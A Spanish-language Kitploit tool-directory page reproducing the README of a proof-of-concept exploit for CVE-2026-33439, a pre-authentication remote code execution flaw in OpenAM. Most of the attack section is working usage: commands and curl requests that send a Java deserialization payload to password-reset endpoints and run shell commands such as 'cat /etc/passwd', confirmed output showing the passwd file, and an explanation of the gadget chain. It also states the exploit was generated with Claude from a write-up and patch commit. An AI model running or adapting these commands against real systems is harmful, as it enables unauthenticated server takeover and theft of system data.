Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-33439-PoC — Exploit para RCE pre-autenticación en OpenAM (CVE-2026-33439) que utiliza una cadena de gadgets de deserialización de Java para ejecutar comandos y devolver la salida directamente en la respuesta HTTP. | Kitploit
Herramientas/GitHubGitHub/ibonok/cve-2026-33439-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubibonok/cve-2026-33439-poc

CVE-2026-33439-PoC

Exploit para RCE pre-autenticación en OpenAM (CVE-2026-33439) que utiliza una cadena de gadgets de deserialización de Java para ejecutar comandos y devolver la salida directamente en la respuesta HTTP.

Ver Repositorio
219hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-33439 — RCE Pre-Auth en OpenAM (Modo Echo)

Salida de comandos directamente en la respuesta HTTP — sin exfiltración por DNS ni OOB.

Utiliza com.iplanet.jato.RequestManager.getRequestContext() para acceder a la solicitud/respuesta activa de JATO ThreadLocal durante la deserialización. Funciona en Java 21+ donde las técnicas clásicas de echo de Tomcat (Thread.target / recorrido de ThreadGroup.threads) fallan.

Requisitos previos

  • JDK 11+ (necesita javac para la compilación de translets en tiempo de ejecución)
  • OpenAM objetivo con click-nodeps-2.3.0.jar y xalan-2.7.x.jar en el classpath

Endpoints vulnerables confirmados

EndpointSalida de echo
/sso/ui/PWResetUserValidationHTTP 200, salida de comandos en el cuerpo
/sso/ui/PWResetQuestionHTTP 200, salida de comandos en el cuerpo
/sso/ui/PWResetSuccessHTTP 200, salida de comandos en el cuerpo

También probados pero sin salida de echo (la deserialización aún se activa):

  • /sso/ui/PWResetInvalidURL — se devuelve página de error
  • /sso/ui/PWResetUncaughtException — se devuelve página de error

Compilación

root@kitploit:~
./build.sh

Uso

El JAR agrega automáticamente las banderas JVM --add-opens — no es necesario especificarlas manualmente.

root@kitploit:~
# Todo en uno: generar payload + enviar + mostrar salida (proxy a través de Burp)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'

# Sin proxy de Burp
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy

# Generar payload reutilizable (el comando proviene del encabezado 'cmd' en el momento de la solicitud)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"

Resultados confirmados (2026-04-21)

root@kitploit:~
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)

$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash

Cómo funciona

  1. Genera un payload de deserialización PriorityQueue (cadena de gadgets Click1 + Xalan TemplatesImpl)
  2. El bytecode del translet llama a RequestManager.getRequestContext() para obtener la solicitud/respuesta JATO activa
  3. Lee el encabezado HTTP cmd, ejecuta sh -c <cmd>, escribe stdout+stderr en response.getOutputStream()
  4. El payload se codifica como Base64 en formato OpenAM (prefijo \x00 + Base64 seguro para URL, sin relleno)
  5. Se envía a /sso/ui/PWResetUserValidation?jato.clientSession=<payload> (sin autenticación)

Estructura de directorios

root@kitploit:~
CVE-2026-33439-PoC-echo/
  CVE-2026-33439-Echo.jar    # JAR de explotación
  build.sh                   # Script de compilación
  MANIFEST.MF                # Manifiesto del JAR
  README.md                  # Este archivo
  lib/                       # Dependencias (deben permanecer junto al JAR)
    click-nodeps-2.3.0.jar
    xalan-2.7.1.jar
    serializer-2.7.3.jar
    javax.servlet-api-4.0.1.jar
  src/
    CVE_2026_33439_Echo.java # Código fuente

Corrección

Parcheado en el commit 014007c63cacc834cc795a89fac0e611aebc4a32 de OpenAM — agrega filtro de clases a ObjectInputStream en SessionEncodeURL.readSessionID().

Misceláneo:

El PoC fue creado usando Claude; el prompt fue el write-up (https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce) y el commit de Git (https://github.com/OpenIdentityPlatform/OpenAM/commit/014007c63cacc834cc795a89fac0e611aebc4a32)

Descargar herramienta